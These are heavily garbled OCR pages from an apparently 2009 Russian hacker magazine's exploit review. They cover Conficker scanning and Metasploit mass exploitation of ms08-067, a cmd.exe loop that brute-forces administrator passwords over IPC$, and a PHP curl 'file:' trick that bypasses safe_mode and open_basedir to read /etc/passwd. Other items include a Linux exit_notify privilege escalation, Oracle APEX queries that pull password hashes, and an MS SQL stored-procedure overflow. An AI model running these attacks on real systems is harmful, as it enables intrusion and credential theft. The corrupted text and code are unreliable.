npo,n,eJ1aTb cJle,n,YIOw,V1e warV1'
.:I)06HOBJll1eMC>1
lopt/nessus/bin/nessus-fetch -check
nessus-iet".C':h i.s properly configured to receive a
Professional feed
lopc/nessus/sbin/ne;;sus-update-plugins
1::) V1w,eM n.n8n1H no HOMCpy 36036 \.1 npVlMeH5IeM. 4. nOAXOA c nplolMeHeHilleM yrl'1J1HTbl VI HCTwrYTa KOMnblOTepHblx TeXH01l0
r\.1~
60HHa.
<I) CKa'--lL-18aeM 3aMe,"3r€JlbHylO ceTesylO yrV1f1my. npeAHa3Ha'--leHHylO
lllJlWbAf111 yKa331-lHoCi L1,el1l1. MO)l(1-l0 CK3,"3Tb 3AeCb - IV.
nl-
nn.
de/wghs/apolicatlOns/contalnlng-confl<.ker.
Pa60Ta NMAP no Bbl$1SJ1eHvHO Conficker
1::) 3anycKaeM KOMaHAoiii $ .Iscs2.py 10.0.0.1 10.0 0 5:
Simple Conficker Scanner v2 - (C) F'el ix I,eder, Tillrnann
f fO lbOc;282 Efb5dc:061 L4 i 9S('Oc.:717cl)7 3dOb64 fS Sd8c:707L; tcO 5 I}
Werner 2009
c7079a9d07a1661eb2e244680cb1b6u8~9abaac45de7991dacbObO
rUNKNm;'N] 10.0.0.1: No response from poet 44.S/tcp.
b4feebeb ''i:Cp port 445
[UNKNONNJ 10.0.0.2: Unable to run NecpwPachC<Jnonicalize.
[CLEP-.NJ 10.0.0.3: \.'iindo\<!s Server- 2003 R2 3790 Service
and dst net 127.0.208.0/24'
Pack 2 n·Jindmvs Server 2003 R2 5.2J: Seems to be clean. CHa,"aJ1a Te6e Hy>+::HO npOMOH iIITOPI1Tb ceTeaylO JKTL-113110CTb L-1 3anL-1CBTb
[INFECTED] 10.0.0.4: h'indm.,;s 5.1 fi"'indows 2000 LAN
KaKy1o-fH'16o ,"aeTb TpaepL-1Ka cHillepepoM, a nOTOM CKOpMI1TbAaMn ngrep·y.
r·ianager] ; Seems to be infected by ConLicke:r D.
3, nOAXOA c nOMOU\blO Nessus, nonyJ1>1pHbll1 cKaHHep To:+::e He 6YAer .m1WHiIIM.
Cyw,eeTsyeT cneu,VlOll1bHbli1 nl1arV1H [nessusorg/pLuglnsbndex
[INFECTED] 10.0.0.5:
~"'indmvs
5.1 [windows 2000 LAN
Manager] ; Seems to be infecti'!d by Conficker B or C. Done
php?vlew=sin<;lle&ld=36Q36I, KOlOPbltl n03a0I1s:ler nporHarb ace XOCTbl V1
Bbl~BVlTb ~epTBy, Me~AY
npO,"L-1M. Ha3BaTb ee «npoCTO :t::epTBoiii» Heflb351,
3. napclo1M pe3ynbT3Tbi.
msf
;>
db_create! *] The specified database
already exists. connecting[*] Successfully
connected to the databaser"') File: /.root/.
3AAA'lA, KAKCnOMOU\bIOMETASPLOITOprAHH30BATbMACCPY
msf3/sqlite3.db
TMHr? PEWEHHE,
,lJ,1151 yCKopeHVlS'l Hawl1X TeCTOB 6y.o.eM V1cnoflb30BaTb BCTpOeHHblf1 MOflYl1b
HV1,"ero l-lenp,"",'lL-1lll·10ro :1. Maccpyrv.Hr - 3TO Macc080e 3apa>KeHL-1e MaWI'1H
NMAP'a no CeT€SOMY AVlJna30HY
c I'1Cn0J1b30eaHltleM 1tl3seCTllOiii [L-1111'1 Heill3seCTHoiiil y5l3BL-1MOCTiII. Ecnill paHbwe AJlSl opraHiII3aLl,m1 cerOAeSlHiIISl npillwJ1ocb6b1 H()nl'1CaTb ryeBy
msE > db_nmap -SS -PS445 -p445 -n
xy,"yCKpL-1nTOB. TO CMelasploil Bce cral10 npow,e. Hy:t::HOJ1L-1Wb BblnOJ1HHTb
CCC.O/24
~T
Aggressive .ll,J<..A.EBB.
HeCKOf1bKO wares. rpy3101M nOAD,ep>KKy6a3l>l sqlite3.
3. <PiIIHan ce~ nbeCbl - 3anYCKaeM MaccpyTl1Hr no y,,3BV1MOCTl-1 ms08-067:
msf > load db_sqlite3 ['" J Successfully loaded plugi.n: db_sqlite3 P,S,,lJ,11~ c60pa
2. V1H\.11..1L-12!lill3v-pyeM co3AaHv.e HOBOiii 6a3bl ,o.aHHblx:
CTaTV1CTiIIKiII no aKTV1BHbIM no.ny'leHHbIM Wef1flaM s6V1saCi
KOMaHAY msf > sessions-l.
.
"
e
,
C:,)FOR /1' "tox"n" 1.2"" %i in (pa""",,,·d.txt) " MOl'''? do nct "::,, \'\'192.168.1.1\'IPC$ %j /,,:eOI1!Mny eo."I<\'%.1"
Mo,·,,? 2»n"l....
MOl'''? as. "eho %tin,,% %d"t,,% » out.txt
MOl'''? %% "eho \'\'eor'I"",.\/_eo.,,1< acct: %i p,'s,,: %j »out,txt_
E!
A
WI''S'.! oprAHM30BATbATAKY no cnOBAPto HA3AnAPonEHHbiM PACWAPEHHblM PECYPC
PEWEHHE,
••
•••
• . II
...
1.COCTa811Sl€M cllo8apb AnSI aTaU1. AonyCTV1M. :no 6YAeT TeKCTOGbl(:1 ,QOKy
MeHT 1013100 eJlOB. no 0AHOMY Ha CTPOKY. Ha30seM era passwords.txt.
2. npflMO V13 KOMaHAHoi1 CTpOKI1 cmd.exe nl1WeM cne.QYIOw,ylO KOM3HIlY.
3. PaflyeMCq 5blCTpOMy npOLl,eccy nepe6opa. P.5. Cnoce5 aKTyal1el-l TOl1bKO npL-1 ilTaKe I-la napOl1b a,l:\MI1HL-1CTparopa.
FOR
IF 'tokens=l*" %i in (passwords. txt) do net use
\\192.168.1.1\TPC$ %i /ll;,'\clministrator
XAK£P 05/1251 09
V1CnOJlb30S8HVlC 6pyn:popca Ha ,l:\pyrL-1e 1l0rl1Hbl cpa3y npillseAeT K6110KL-1PO S8HV11O y,"eTHOiii 3anL-1CIo1. X
>> B:: ..... OM
~
..
! ~
~
~~~
~
I os~op
~~ ~ ! ~ ~ ~ ~
~ ~ ~ ~~~~~OUT08 ~ ~ ~ I ~ ~~ 0630p
.KcnAQUTO.
..,.,
3KCnAOUT08
3KCnAOUTO.
OE:30p
3KcnAOUTOe
AHAPEI'l .SKVOZ~ KOMAPOB
•• ••• • • •••••• •••• •• •• •••• •• ••• •••••••••
•
••• •••• • • •• •••• • ••••• •• •• • • ••••• • • ••• •• • • • •••• •• •• ••• ••• •• • ••••• • ••
• •••••• •••••• ••••••• •• •••• •• ••
•••••• ••••
Ha ABOpe MeC5'HJ, MaVl, HO MyYeHVl5'l pa3pa60TYVlKOB B 3TY BeCeHHfOfO nopy He OCna65'1Tc5'I. Hap5'lAY CHVlMVl MYYVlTbC5'I 6YAyT Vl nonb30BaTenVl. C nOMoUJ,bfO cBeIKeVi XSS Bcero 3a napy yaCOB 6blnVl yKpaAeHbl 60nee 5000 aKKayHToB «BKoHTaKTe.py». nOcneAH5"I5'I STABLE-Bepcv15'15"1Apa Linux CTpaAaeT OT nOBblWeHVl5'l npVlBVlneiVlVl, Vl3BeCTHbie 6peHAoBbie IKene3KVl CISCO ASA/
•
PIX HeKoppeKTHo CnpaBn5'lfOTC5"I CeppaiMeHTVlpoBaHHblMVl TCP-naKeTaMVl, a B nocneAHeVi BepcVlVl PHP 5.2.9 n05'lBVlnVlCb HOBbie cnoc06bl 06xoAa safe_mode Vl open_basedir. BneyaTneH7 BnpOYeM, anpenbTaKIKe 6bln He cnVlWKOM POBHbIM. 3a TOT MeC5'IL.!, Microsoft BblnYCTVlna 8 BaIKHeVlWVlX 6fOn neTeHeVi no 6e30nacHocTVl, n5"lTb Vl3 KOTOpblX VlMefOT KpVlTVlyeCKVlVl ypOH no 6e30naCHOCTVl [MS09-009, MS09-010, MS09-013, MS09-014, MS09-011].
01
06XOA OrPAHl-1~EHl-111 B PHP 5.2.9
mfJMfU B CeTV1 5blll o6Hapy>KeH a6COllIOTI-lO HeBH>lTHbl~ KOA 3Kcnnoih3 aT
SeeurityReason !",ecL rilyrecsoncom/achlevem';t)\ exoloitalerl/l)) 8 WItl$
mm
pOBaH\-lOM BJolAe l-1 Hepa604eM COCTOSlHl-1l'1. VlTaK. eOCC03AaeM cJleAYIO~ylO
3a,ll,3ya 06XOp,3 safe_mode V1 open_basedir Kpai:1He aKTYallbH3 IHanpltlMep.
l-1epapXl-11O nanOK !dile:>} 8 AaHHOM CJlY4ae >lBflfleT(51 nanKo,;;l·
:;lTD cyw,eCTBeHHQ orpaHV14lt1BaeT p,e£iCTBV1Sl xaKepa, .c.3>Ke npltl H3nV14i11V\
3arpyxeHHoro ee6-wen.nal. no cyrl>1, Y9.3Gl.1MOCTb 6blfla Ha~AeHa a CTOpOH
./file:/
HeM npo.qyKTe - 6ltl611ltlOTeKe libcurl. KOTOpytO nOAAep)KWBaeT PHP. CurL
./Eile:/etc/
V13AeCTHoe epeACTao ,[\11" S3altlMo,Qe~CTSI1" c CeTblO 11 cooTaeTCTsYIOUJ,I1Mlt1
./file:/etc/passwd/
npOTOKOflClMI1 - 'laCTO npI1MeH>leTCS1 npVl HanI1CaHVolt1 KJll1eHT-eepsepHblX
nplt1JlO)l(eHltl~ III
a nopTltlpOSC!HHOM Slt1Ae npl<1cyrcTsyeT npaKTlt1'leCKII1
B Jl1060M
,D,eflaeM cueHapll1l1 TaKoro PO,qCl:
S13blKe npOrpaMMlt1pOaaHII1S1. PaccMoTplIIM npOCTOl1 npl<1Mep Ko.o.a·
ff.!/bin/sh
curl_setopt($ch, CURIJ)PT_URL,
«file:file;////etc/pass~u»);
mkDIR("fi1e:-);
chdir ("tile:");
Bbl30B no.o.o6Ho~ epyHKUl-1lil no,o,pa3yMeaaeT no,Q co6o~ cflcAylOUJ,ee CHa 'lana III
Curl o6paw,aeTcS1 K,D,aHHblM BKfHOyeHHOrO safe_mod/open_basedir
np08epReT lilX npaSV1f1aMltl «fileJllletclpasswd». 3aMeYy, 4TO peanbHbliil
epai:iJl - «./fileJetc!passwd.}. npocTO
B
napaMeTpax <PYHKlJ,lt1ltl Mbl yMblwneH
HO nOCTael-1fllll JlI1WHY1e eneWH. KaK HY1 cTpaHHo, noene TaKoi:i MaXl1H311IllYl C l.\eneeoi:i
CI1CTeMbl Bee paSHO nOK3flbHO 6YAeT C4V1T2H epa~n <dile:lll/etcl
mkDIR( "etc");
chdir ( "etc· ) ;
mkDIR("pass~!d"}
;
chdir(" .. ");
chdir (" .. ");
$ch = curl_init ();
passwd>. fOH >Ke letclpas5wdJ. CDlIlwKa HeKOppeKTHoro pacn03HasaHIIlS1
curl_setopt($ch, CURLOPT_URL,
MO)KeT npltl8eCH1 KOyeHb HenpHRTHblM nOCJle,o,CTSI151M
"file:f.ile:////etc/passwd"i;
curl_set apt (Sch, CURLOPT_HEl\DER. 0);
MfI;·fm
curl_exec ($ch};
php 5.2.9
curl_close ($chl;
~
044
XAKEP
05/125{
0'1
0530p
OI>~OP
O&30P
3KCn ..... OlJT')E;
3KCnAOlJT08
3KcnAOlJTOB
MiHMfflfij
»
E::: .•1,. 0 1"-(1
CblsaTb SblXOAHOI1 clo1rH311 Ha SIGCH LD lcl'lrH8f1, nOCblJlaeM blVt npOipaM
nOKd Hlt1KClKom naT4Cl He BbIWJlO_ OCTClercs:l mlWb nOJlararbCSl Ha 603
MOil!. KorAa AOYepH"111 npou,eec repMI1Hl1pOS''lHl. OW>16Ky npl14l1Cfl~ KlT K
MO;+(HOCTlt1 6e30nacHcro pe>Klt1Mc PHP lo1lt1cnORb30saTbAon0l1Hlt1Tel1bHble
Knaccy Design error l«owl16Ka S npoeKHlpOS8HV1I1>,I.
cpeACTBd 5e30nacHocn1 DC
",tft@fi CKa'-laTb 3KcnflOVtT MO;ll<HO. CKa)l(eM. C H3wero caillra no CCblflKe - ~
xakep I'Ll/post/.!. 7784/L Inux- Kernel- Loea l· Privi leqe Esca lation
llOKAllbHOE nOBblWEHI<1E npI<1BI<111E rl<1~ B L1NUX (3KcnllYATAIII<151 EXIT_ NOTIFYllJ
02
Fxnlrllt txt.
Peafllt13yeTCI1 np3KTl1yeCKVi Ha Bcex peAaKLJ,V1r1X Linux c k.ernel <2.6.29, B
TOM
.,Viene, AOCTaTO'-lHO 3aW,l1w,eHHblx JlVicrpl16yTl1SaX Bpo)],e Truslix Secure
3Kcnl1yaTau,ltISl YSl3SI-1t-40CTlt13aK1lI04aeTCSl B OTCblnKe Clt1CTeMHbIX Clt1rHan08
Enterprise Linux 2.0, Trustix Secure Linux 2.2. Trustix Secure Linux 2.1 ,
I
A04epHeMynpOL-4eCc.y[y>.<e lt1MelOw,eMy suid). Clt1CTN1HbIX Olrl·l<ln08
Trustix Secure Linux 2.0, V1CKJlKl4eHl1e COCTaSlll1CT Linux kernel2_6.29 -git14.
I
COo6w,eH~1~ cyw,eCTsyeT 04eHb MHoro; HapSlAY CHlt1Mltl eCTb el.l.\e HeKl-le «cno
1II111ll
C06HOCTlt1» lcapabilitiesl. no CyTl1, :no npl1sl1J1erl1lt1 nporpaMM cOBepwaTb
MiHffifflfij
KaKlo1e-flL.160Ae~CTSlt1Sl: OTKpblsaTb RAW-coKeT. Vi3MeH>lTb Sna,[leJlblJ,a ¢a~Jla,
YSl38lt1MOeTb yCl paHSlerCrI Mo.a.~qmKal.-4l1eilll1cxOAHOro Ko~a ~JJ,pa B
nepe3arpy:>KaTb KOMnbIOTep, nO,ll,rpY)Ka"rb MO,[lynlt1 \1JJ,pa l1 TaK p,aflee_ ECTecT
eooTBeTcTsYKll.L.le(.i ¢YHKlJ,l<iI1:
seHHO, MHOrl-1e 113 3TIt1)( «cnoc06HOCTeM" Vi 6fll13KO He HY)KHbl
B
WTaTHOM
co$Te, I1Haye 1'13 HI'IX nOflY'-l3eTCSi H3CToSiw,ee opY>Kl1e Jll160 3J10HaMepeH
diff --git a/kernel/exit.c
Hbll1 co¢r AJ1Si YAep>KaHlt1Sl npV18ViJ1erlt111 B CViCTeMe IVinlt1 H306opOT - nOp411
b/ker.nel/exit.c
u.y)l(oro l1Myu..I,ecTsal.
index 6686edl .. 32cbf26 100644 (file)
HaYHeM CKp2TKoro 0630pe HaV160Jlee 8a>KHb1X «B03MO>KHOCTel1»
no 8 cpeJJ,e
Linux: CAP_SETOID CMeH5rT:E:o
ynpaDJUle1' cnoco6HOCTblO root' OBb/X rrporpaMM
nOl!l~30BaTeJ15r,
CAP _SETGID -
CMeH5i'I'b rpynr;y,
pa601'ae1',
no,D.
ynpaBJL>leT
KOTOpblM
pa60TaeT npOrpaMM(l
--- a/kernel/exit.c +++ b/kernel/exit. c @@ -837,8 +837,7@@staticvoidexit_notify(struct lask_ struc:t *tsk, int group_dead) '/
CI10C06HOCTbl) root' OBbiX rrporpaMM
if (tsk->exit_signal ! = SIGCHLD && ! la5k_
no,l:l KOTOPO>1 pa601'ae1' oporpaMMa. TaR
Hanp~Mep,
httpd, sendmail, postfix, ftpd,
safe_finger CAP _HIDDEN - cnoco6HOCTb npo['paMM .rtendTbC5I B Cnv,CKe llpoueccoa. He 13n.l19..8T
HeB.I1.rt>1MblM~1
detached(tsk) && (tsk->parent_exec_id != ts}:::->real-parent->self_ exec_id
Ha Bce rrporpaMMbI
It tSk->self_exec_id != Lsk->parent_exec_id) &&
!capable(CAP_KILL)l
CAP_INIT_KILL - cnoco6HOCTb y6101BaTb npo~ecchl-noToM KY! npouecca
ini t.
K TaKY1M OTHOC5lTC$[ npdKTH'ieCKJ1 Bce
tsk->sel f_exec_id ! = tsk->parent_exec_id))
+
tsk->exit_signal = SIGCHLDi
.neMOHf>l
cnoc06HOC'1'bKl KopHeeot1. KaTdnor .en$[ TeKywero shell' a
CAP_SYS_CHROOT - y!TpaBITReT
CAP_FSETID tofJ1l'I
3arrpe~\aeT /pa3pewaeT
YCTduaammdTb
yCTdHOBKy SUlD' Horo
SGID'HO['O 6Vl'7d Hd 'lylli:lIIX <j)aHl1dX (He
signal = tracehook_ooLl.fy_death(tsk, &cookie,
group_dead} ;
npYlHd.unelflaWl1X
root'y)
http://patchwork.kerncl.org/paLch/16544/
KOe-KaKl1e 113 3Tl1X 603MO)l(HOCTel16YAeT nOfle3HO KOHTpOfllt1pOeaTb. DAHO lt13 CpeACTS, opraH~3ylOl1.\""X KOHTpOJ1b - 3TO LIDS ILinux Intrusion Detection Systeml. OHO npe,D,CTaBMleT c06011 naT'-I SlApa. 3Hau.l-1TenbHO nosblwalO!..:J,11116€30naCHocTb npv. pa60T€ c OC IYI'ITai:1- aHanor npoena grsecurity, He Ta'< ",a6HO onl'lCaHHoro Ha CTpal-ll'll.-4ax I I . 3aHl1MaTeflbHa~
03
PACKPblTI<1E X3WE~ nAPOllE~ B ORACLE APEX
mE
oco6eHHOCTb LIDS STOf.{, 4TO Ha'J,€J1eH OH He (OeCeM Hi! KOHTpOllb,D,e~CT~
APEX -
el'1i1 nOJlb30BaTeJlSl [3TO MO)l(HO CAeflaTb 1'1 WTa rHblMVl Cpe,D,CTBaMlt1 Linuxl
DB. npe,D,HCl3HaYeH AMI C03AaH\1Sl WEB-npl1flO>KeHl1i1I1I1CnOJlb3yeTc~
11 .ua)l(e He Ha o6Hapy)l(eHIi1e ceTeBblX aHOMaJILIiI1, a Ha n pe,D,OTSpa l.L.leH Vie
KayeCTSe ¢peI1MBOpK3. )J,JlH ::noro OH YCTaHa8fl1<1BaeTC~ S HenocpeAcTBeH
1-13BeCTHbl(:i npoeKT Oracle, paHee H83bISaSWl1i1cSl Oracle HTML S
lt1Hll,I1AeHTa. KorAa 3n::JYMblWJleHHVlKY y)Ke y,D,aflOCb n p06paTbC>l B ClIICTe My 11 Aa>Ke nonY411'b npIi13\.1flerl1l<! root"a. no cyrl<!, 3TO 3al.L.ll1Ta OT He>KeJla Tel1bHblX {<root>l-Ael~";crBl'1i:-i, KOropbl€ MO)KeT Bbl nOJlHIo1Tb xa Kep. 3aXBan1S cloICTeMy. Tbl3apaHeeonpe.QenSleWb Te .aei:-iCTBIo1Sl, KOTOpble, ,Qa)l(e 6YAY"UIi
PeJlKl'111 cflY4a~, KOrAa Safe Mode Ha XOCTe OTKnI04eH, a cURL - c06paH_ C He.o,aSHlIIM nOSlBJleHlt1eM cnoco6a o6xo.o,a ::n014 eplt14l'1 Ha3BaHHble sel..l..(l1 Apyr Myra KOMneHCl'1pyKlT
nbSlHblM, Hl'1Kor,o,3 He ncnpo6yewb VicnOJlH\IITb. V1 OTKllIO'-lIo1Tb MO,o,YJlb MO)KHO, TOfloKO BBe)],>! )],o6aBCYHbI~ napOJ1b. YCTaHOBJ1eHHbl~ 3,D,MlIIHlIICT paTopOM. O)],H8)f(Abl, VI3YY8Sl B03MO>KHOCH1 ,lTofj CViCTeMbl, Sl peWl1f1 nowynnb H8,o, CBO~1M KOflflero~ - 38 npeTV1Jl nepe3arpy3Ky CViCTeMbI (oTKll104eHlt1e CAP _SYS_BOOTl.
np::lViCwe,o,wee )J,Ollro np\llBO,D,lt1!lO ero
-....__ -__... __........ ...
BMeCTe CKOflJleKH1BOM a HeAoYMeHv,e. npVi HaCTpo~Ke KOH¢l1rypalll-1l1
'"'-...
Cl1CTeMbl Tbl npoCTo OTMe"la€Wb B KOH¢v.rax LIDS :;IHI nYHKTbl nJllOCaMlt11o\
", "'
MV1HycaMlt1, nOCJ1e '-Iero nepe3erpy>KaeWbCI1, CAP_KILL BKl1IQ4aeT Jllt160
""
OTKnfOyaeT cnoeo6HoCTb root" 08blX npou,eeeoB y6i1SaTb "'y)l(lt1e npou,eCCbl
;§§E§gi~r.:
\1,
COOTBeTCT8eHHO, npeo,D,OJleaaeTcYl1.\eCTBYIOw,v.e OrpaHt14eHI1Sl Ha
OTn pa SKy Cl'1CTeM HblX Cl'1rHSnOB. OW146Ka COJlep)f(V1TC~ B cPYHKl.-4l1l1 eX1t_ notifyll [linux/k.erneVexit.cl. nepe.o, 8blXO,D,OM spe.o,oHocHoe npl1J10)l(eHl1e MO:>KeT SblnOflHI1Tb setuid. 3TO 6Y,l:\er 03H84aTb, '-ITO Mbl He 6yJJ,eM c6pCl
XAKEP 05/125/ 0'
-E:::=:':=:;:--'"
-_.=--
- ...~.::!::.~----:r=o-~-
.
.~-_
.iJ
'.'Z'
~
045
..
.." .
E:::AOM
OS~OP
3KCnAOUTOE:
~
L~~
0530p 31<CnAOUT08
,4t'@'1'Y!ii¥!i'.!.jij,hi§4Wb wi ., E:'e tdl Y!eW HltOfY
<40 .•~ . lIjl'
h'
lools
Ed"
,... ...J.QI.:q
~
(i'; III -....,;.== ......=-='=-==~=. ::;::';:;I>:;J
:rcJ·E
~1:!tlI
'"'."
mm··
~j ,llC})·j
.~~~=
, 0 AdminislrUO<1
" "'<lnag8 seflliees " Manage Allpll(;<lIIGfI
ExprusVs",s
"i')L Wo,kShol'
;\!,!,!!~.'tIQII g"il<fe'
...
:6".%~<lE.J"~~I'"~~
lr.noO.8uI~~r
~7:£=--~
EI
OASO'6t4atiDngUd.••
ORACLE' Application Express
~-:--~
I <>
~1
I <>
" WOllilorAcIivilV Cn;onOll P;lsswo,d Abovt~<i."O~.E.~
~ t::ll m::lll!
U1,lllI'~
?tn' &! jf ; i
IJ1Hbll1 Cni1COK.i(B03Mo)f(j.;oC'ret1~nOHa LinUx.:CO~I?)KLitTC51 a'ina "
Hoiii CB>l3Ke c CY6,JJ, Oracle, Apache V1f111 BcrpoeHHblM WEI:3-cepsepoM B
3t~c.nAOIJTOE:
1\ 1\
CJ -..» Cll'N't."""",,,_·s... EJ o.-odo~se ... 8
~~~;i~:~€~': E"-:::--~ ~~~~::
~
06::0p
HeKOTOpbl€ peAaKllV1V1 Oracle Database [Express Edition, Knpl1Mepyl
Embedded PUSQLGatewayIEPG).
~pl,~alion
Expten
Discussion Forum " Appllc;;tion Elqlfen qn OTN o Download Applinlion Expfess
13 "'" I
Q~aEr_
ttI;t#Jl:rJ
Oracle APEX co6CTseHHol7! nepcoHo(;i
npo6neMa B TOM, YTO nOflb30BaTeIlbC HeAoCT31o'<HbIM\1 AJ1513TOrO npaeaMIo1 MO%eT o6paTlo1TbCR K cneu,V1aflbHO
3a pen1cTpVlpOB3HHbi M npVlJlO)l(eHVI€M
Ta611V1LJ,3M, noelle 4ero - Hanp51MylO 3anpOC\l1Tb,QaHHble ,[lpyrV1x nOllb30Bu
FLO~S_030000.w¥N_FLC~_USERS_PASSWORD_LI?ESPAN_ACCESS~S
Teneiii.
FLOV1S_030000 . ~~.,rv _F'i..C)W_US8RS. PASSWORDj,CCESSES_l.EF'1' PLOWS_030000.~~~1_PLOW_USERS.PASSWORD_DATE
M#fu@
~ 3a0I11)(--J.eM X:3;:H1
BblnOllHVlTb nO,QKll1Q4eHVle K 6a3e VlJlI1 nonyYVlTb 803MO)KHOCTb V1cnonb30S3
SQL> select user_rlalf:e,web-passNord2 [rom F'LOWS_030000.
HI1513anpOCoB
\~~r'J
K Helit-
BOT 0AHa
1'l3
Halt160nee S3)1(HbiX 3aAa4 Am, peaJllo13a
LJ,Vllt1 Y5138\11MOCTlt1. TpaAlt1lJ,lt10liHO 8 KayeCTBe cpe,QCTBa nO,QKnlOyeHVlR
FLOW_USERS
K Oracle
MO)l<HO >1Cn0l1b30eaTb sqlplus (orarle cornltechnology/lech/;,ql olus/index
USER-NAME l'iEB_PASS\llORD2
htmlL II ShlnOJiH5:!€M
YURT 141FJl..790354FB6C12 802FDEA863 53F31
nO,D,KJlk>4eHWe
sqlplus login/pass
nony'leHHble X3WVI MOrYT 6blTb npOaHaJlL13l-1p083Hbl C nOI-:OU\blOymlllt1T /I
3anpaWt1Bct12M
~I'l"O
TeKywee Hil.We CO(:TOj1HVle
I-l
y6e:+:.ndeMc51 B 'I'OH.
spoAe Repscan.
1·11X nOJ,lKJlt:l"leHbl
SQL> select gr.;mted~role from user_t"ole-privs;
MHHW BepCVH16a3nl c nOAKll~'<CHHbIM Oracle APEX
» 3il.HpaWWaaeM HOB!>lBCl>'lCb Ha
!:leI:) j'lHQlOPMC'lt.<MIO 0 sna..uenbue w: Ta6.rnIUdx. oc
H3BeC-!'!"IOM
fUiHmfflfil
A:>8X
SQL:> select OlrJner, table_name from
all~t.ables ''''here
KOMn3HIo151 cBoeBpeMeHHO BblOyC rf1Jla Ha60p Io1cnpJSneHf111 «Oracle CPU
owner='FLOWS_OJOOOO';
April2009».
QWN:t;R
04
TABLE_N,h_~E
FLQldS_030000 1,\'i',TV_FLOvCDUALlOO
FLOJ.o.1S_030000
nEPEnOJlHEHlifE KYYlif B MS sal SERVER SP_REPlWRITETOVARBIN
IDB·
;;~1N_FLOW_LOV_TEMP
nepenOJlHeHl-1e HaL71,l.\8HO 8 OAHOC1 1-13 npOlleAYP MS SOL Server, Ys:l3Bf1
FLOWS_OJOOOO vrwv_f'LOW_TEIolP_1'ABLE
MOCTb n03B0J1s:leT nOJlb30saTe.nlO Bbl3b1BaTb OTKa3 B o6:::J1Y)K~H:JaHl-1V1 /! 3.;tl1pfl.Umaao2'M cnMCOK Me-c'r, cO,D,ep:;.;aIllHx none «~'ass>"ord»
SQL> select o\.,rner I It. ' I I table_name I I ' . ' I I column_name
6a>KH0I1 npou,C.Qypbl
from all_tab_colullln.s vlhere column_name 1 i ke
A3HHbl(' 3a rp3Hl-1u,aMVl6ycpepa
'%PASSr,~'ORD?6'
fiVl60
VlcnonHVlTb np0V1380JlbHble KOMaHAbl Ha YA3JleHHo(:i Cl-1CTeMe nyreM 8bl30B3 C aHOManbHblMl-1
napaMeTpaMlt1, KOTopble 3anlt1wyr
and owner like' %FLOWS_0300%' ;
"'61i.Qill OWNER! I'.' I ITABLE_NAME I f'.' I ICOLUMN_N~~E
nO,D,sep>K8HHble npOAyKTbl: Microsoft SQL Server 2000 SP4. 8.00.2050, 8.00.2039 l-1 eU\e 60nee paHHl-1e sepcl-1I1, SOL Server2000 Desktop Engine (MSDE 20001 SP4; SQL Server 2005 SP2 [.9.00.1399,06 BI(J1IOYl-1TeJlbHo], Sal
FLOWS_03 0000 . hWV_FLOW_USERS . CHi\NGE~PASSWORD_ON_FIRST~USE
°
Server 2000 Desktop Engine (WMSDEJ.
FLOWS_030 00 . v!WV _Eo"LOW_USERS. fIRST_PAS.%'ORD_USE_OCCl/RRED FLOW5_030000. v..!VI1"v_F'LOW_USERS. WEB_PASSvlORD_RA\ti
~
MMtffiij
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD2
60C80C1 KO,Q 3KCJ1J1QYlTa oepopMJ1eH BBI4,Qe ASP-npl-1J10>KeHl-1s:l. KOTopoe
FLOWS_030000.~/_FLOW_USERS.WEB_PASSWORD
opraHl-13yeTYeTblpe 3anpOCaAJl513anItiCl-1 yeTblpex 6aVlToB BYY3CTOK naM~Tl-1,
nol-.'s
npl-1ro)J,Hbl~
046
030000. 1!J"i'N_FLOW_US:t;RS. Pi\SSWORD_LIFESPAN_DJ\YS
,afls:l 3Toro. a 3aTeM I4CnOllb3yeT 3TO a.opeCHO(? npocrpaHCTBOAMI
XAKEP 05 /125f 0'1
..
0630p 3oKCnAOUTOB
-
O'S30p
OE30p
3:KCflAOUTOB
3KCnAOUTOE:
••
"
rl,;O
----
,•.----::::-.:----=:J I
_ .......
_ _ _ ""t::!
.... _
0I<Ul1
......... _
..-.
~
Dnfl{
YcneWHoe nOAKIlIO«eHl4e c nOMDl.L.\blO sqlplu5 K6a3e Orade TDnb He e30naCHYlO BHyrpe HIOIO n 0 enOJlb30SaH14H Bee Be
CT 14T
e
e4 0 nonblTK
nepe3am1C01 YKa3aTeJ15=l ¢YHKLI,VlIil. Ba>KHO nOHIIlM03Tb, "ITO JKcnIlQl<1T He I1MeeT
HIIlKaKo!il ueHHOCTL1, eCfllll xaKep He RBJ1ReTCR ,ll,OSepeHHbIM n0J1b30eaTefleM.
B .ne¢OJ1TOBO~
KOHcP"'rypauwlI3aRBfleHH3R xpaHIilMaR
npou,eAypa AOCTyflHa
Ka.>KAoMy aSTOplt13I1lpOeaHHDMy 8 6a3e nOJlb30GaT0J11O. ,AmI Toro, YTo6bl 3TO VlcnpaBIilTb, MQ}l(HQ Bblr,OJlHI4Tb Cl1e.o,yIOLlJ,IIl\13anpOC Ha
T-Sal:
EXECUTEmaster.dbo.SP_DROPEXT~NDEDPROC
'sp_
replwritetovarbin'
Ecm-t oHa, npaBAa. l.1MeeTCR, -
fbi nOJlY414Wb OW146KY HeS03MO)f(HOCHl
o6pa
60raTb lII(KfllO"leHt.1e no aApecy«Ox41414141».
Mibi!\tfflij Y~3BIo1MOCTb
He Kal.laeTC~ MS SQl Server 2008 B CBOIO 04epeAb, Microsoll
npl.1CBOlil118 YSl3BliIMoCTliIliI,o,eHTliItPliIKa41i10HHblYl HOMep «MS09-004» Mbl Y,QaJlIo1M xpaHIo1MYfO npou,e,o,ypy. ECJlIo1 He XOl.leWb TaK nocrynaTb, MO>KHO
[mlcrosofl.com/technet/securily/advisory/961 040.mspxl. ,qonOJ1HliITeJlb
npoCTO ee OTKJli04Io1Tb:
HylO liIH<py no KOTOpOMyTbl CMO>KeWb HaYlTliI BABa KJllilKa. DOJ1ee nOAPo6HO n041i1TaTb05 OTK11tO'-leHliIliI xpaHliIMblX np04eAYP MO>KHO 3AeCb (<<Removing
use [master]
an Extended Stored Procedure from SQLServen - msdn.microsollcom/
GO
en-uS!llbrary/aa215995ISQI 801 aSQxl.
REVOKE EXECUTE ON (sys) . [sp_replwritetovarbin) TO
05
(public] GO
ESETNOD32-06XOAAHAllIo13A
npOBepliITb Ham-lYliIe Yl'l3BliIMOCTItl MQ>KHQ CJleAYIOll.llilM C4eHapl4eM Ha T-Sal:
f.'1'flIlI. DECLARE @buf NVARC:-IAR(4JOO),
3al.lacrytO caMlil >Ke cpeAcTBa 6e30naCHocTlo1 cOAep;;<aT B ce6e yA3BliIMOC
@val NVARCHAR(4j,
